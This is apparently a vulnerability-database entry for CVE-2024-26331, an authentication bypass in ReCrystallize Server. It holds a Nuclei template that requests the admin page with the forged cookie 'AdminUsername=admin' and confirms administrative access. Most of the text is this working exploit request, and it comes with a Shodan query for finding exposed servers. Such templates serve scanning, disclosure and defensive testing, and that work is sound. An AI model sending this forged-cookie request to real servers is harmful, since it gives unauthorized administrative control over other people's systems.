This vulnerability allows an attacker to bypass authentication in the ReCrystallize Server application by manipulating the 'AdminUsername' cookie. This gives the attacker administrative access to the application's functionality, even when the default password has been changed.
PoC代码[已公开]
id: CVE-2024-26331
info:
name: ReCrystallize Server - Authentication Bypass
author: Carson Chan
severity: high
description: |
This vulnerability allows an attacker to bypass authentication in the ReCrystallize Server application by manipulating the 'AdminUsername' cookie. This gives the attacker administrative access to the application's functionality, even when the default password has been changed.
reference:
- https://preview.sensepost.com/blog/2024/from-discovery-to-disclosure-recrystallize-server-vulnerabilities/
- https://sensepost.com/blog/2024/from-discovery-to-disclosure-recrystallize-server-vulnerabilities/
- https://www.recrystallize.com/merchant/ReCrystallize-Server-for-Crystal-Reports.htm
- https://github.com/Ostorlab/KEV
classification:
epss-score: 0.67864
epss-percentile: 0.98511
metadata:
verified: true
max-request: 1
shodan-query: title:"ReCrystallize"
tags: cve,recrystallize,auth-bypass,cve2024,vuln
http:
- method: GET
path:
- "{{BaseURL}}/Admin/Admin.aspx"
headers:
Cookie: "AdminUsername=admin"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "ReCrystallize Server Administration"
- "License Status:"
- "System Info</a>"
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502201a8c2a3e59d7af076c0bc0ae370c6349ae2e0f1c2fe46eb0f3563d45f5d85db3022100da5ac5b7e437ed42593351be3dd053244e6ab829885ec412b254518b52998dd6:922c64590222798bb761d5b6d8e72950